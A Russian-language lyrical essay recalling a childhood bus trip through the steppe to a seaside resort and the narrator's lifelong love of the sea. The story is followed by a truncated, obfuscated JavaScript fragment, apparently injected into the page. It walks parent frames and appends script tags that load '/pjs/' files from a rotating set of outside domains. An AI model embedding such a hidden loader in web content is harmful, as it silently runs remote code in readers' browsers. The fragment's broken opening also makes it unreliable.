Дорога к морю. (Море)

  Каждый год, летом, в определенный момент, происходит одно и то же: сумки, сборы, раннее пробуждение, быстрый завтрак, смех, беготня, гвалт, последние мелочи… Присели на дорожку… ну, тронулись!

  Автобус набит под завязку сонными, шумными, суетливыми людьми, провизией, которой бы хватило, чтобы переждать ядерную войну в бункере, рыбацкими снастями… Свежий запах раннего утра возбуждает – впереди дорога!

  Выехали за город, и за окном замелькали знакомые степные пейзажи. Редкие рощицы корявых акаций смиренно поглощали адские порции безжалостного солнца. Густая, местами по пояс, трава по обочинам была усеяна яркими пятнами цветущего шалфея, змееголовника, тысячелистника. Пахнущая чабрецом степь разнежилась, распласталась, разомлела, напитавшись теплом и светом.

  Геометрически расчерченные поля и виноградники расстилались до самого горизонта и скрывались за ним, огибая земной шар. Сердце замирало от щемящего, восторженного, невнятного «я живу» и подпрыгивало на ухабах, а впереди ждало счастье длиною в жизнь.

  Асфальт монотонно и убаюкивающе вползал серой лентой под колеса автобуса, а вдалеке постоянно маячила лужа, отчетливо видимая в струящемся летнем мареве. Кажется: вот сейчас настигнем, догоним! Но лужа исчезала, стоило приблизиться к ней, и нам приходилось ждать следующей лужи… В детских головах не укладывалось понятие «мираж», мы верили, что лужи настоящие и спорили, смеялись, тыча пальцами и удивляясь. Солнцу было еще далеко до зенита, но оно выкладывалось в полную силу. Жара. На небе ни облачка. Мы едем на море!!!

  Огромная, соленая, притягательная лужа-мираж ждала меня. Я знала это всегда и наверняка. Море томно вздыхало и колыхалось в своих берегах, шелестело пенистой волной, откатывалось назад, чтобы поглядеть – скоро ли я приеду? Потом возвращалось на прежнее место и снова ждало, улыбаясь и ритмично ворочая ракушки уверенной хозяйской рукой. Море монотонно и нетерпеливо баюкало само себя в своей колыбели. Ему никто не был нужен, только я. Эта неразрывная, тяготящая, невозможно-страстная связь с морем у меня с детства.

  Я не люблю жару, страдаю от колючего песка, от разъедающей кожу соли. Но если взять самый большой глобус и посмотреть на моё море издалека, то станет понятно, за что я люблю его. Море и я – вдвоем, на огромной тесной планете. Оно ждало меня, и я приехала. Мне целых тринадцать, и я готова поделиться с вечно юной лужей своим временем.

  Держа сандалии в руке, медленно иду босиком по утрамбованным тропинкам пансионата, ноги постепенно покрываются тонким налетом светлой песчаной пыльцы; миную сиваш – отколовшийся и остро пахнущий кусочек моря, концентрат из соли, ила и гниющих водорослей, поросший по периметру камышом и рогозом, впитываю, вдыхаю терпко-йодистый запах летнего пиршества… И чувствую, что уже никогда не стану прежней. Море не отпустит меня, оно уже в крови, в душе, вторглось в мою плоть эротичной новеллой и останется там навсегда.

  Бледные северяне, москвичи, акающие и непривычно растягивающие гласные в неожиданных местах, жадно глотают одуряющую жару. За ними интересно и смешно наблюдать. Дети играют в мяч, кто-то нетерпеливый уже развел огонь в мангале, слышится гитарный перебор, звенят стаканы, пахнет едой, у каждого порога – таз с водой, для мытья ног.

  Все домики деревянные, на невысоких сваях. Между домиками натянуты веревки – на них сушатся плавки и крабы. Повсюду – дикие маслины, усеянные серебристыми листочками и вяжущими ягодами. Белые камни, пористый известняк, выносливые неприхотливые травы, юркие ящерицы, питьевой фонтанчик посреди площади, окруженный изумленной изумрудной порослью. Выцветшая под палящим солнцем картинка впечатана в мозг, как кадр из яркого фильма под чуткой режиссурой. Со временем устаешь от невыносимой жары и автоматически начинаешь передвигаться рефлекторными отрезками от тени к тени. От дерева – к навесу, а оттуда – к последнему ряду домиков, пригибаясь от едкого, изнуряющего, всевидящего солнечного лика. Обожженные песком ступни преодолевают последний поворот, и на меня обрушивается море.

  Пляж усеян растаявшими телами. Слепяще-белый песок под ногами, иссиня-бездонное небо над головой, а между ними – море… как долгожданный приют, полный тайн и загадок. Звонкий голос мальчика, разносящего шашлычки из рапанов и мидий, перекрывает тихий шелест, что адресован лично мне – ради него я и приехала.

  Оглушенная жарой и звенящими в раскаленном воздухе звуками, я прислушиваюсь к шелесту, бреду, загипнотизированная, не ощущая ног, плыву в знойном полуобморочном потоке жаркого притяжения… Шаг, еще один…. И я падаю в теплые обволакивающие объятия моря.

   Ну, здравствуй. Я тоже тебя люблю.

<script type="text/javascript">// </script>

<script type="text/javascript">// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("maxpark.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script>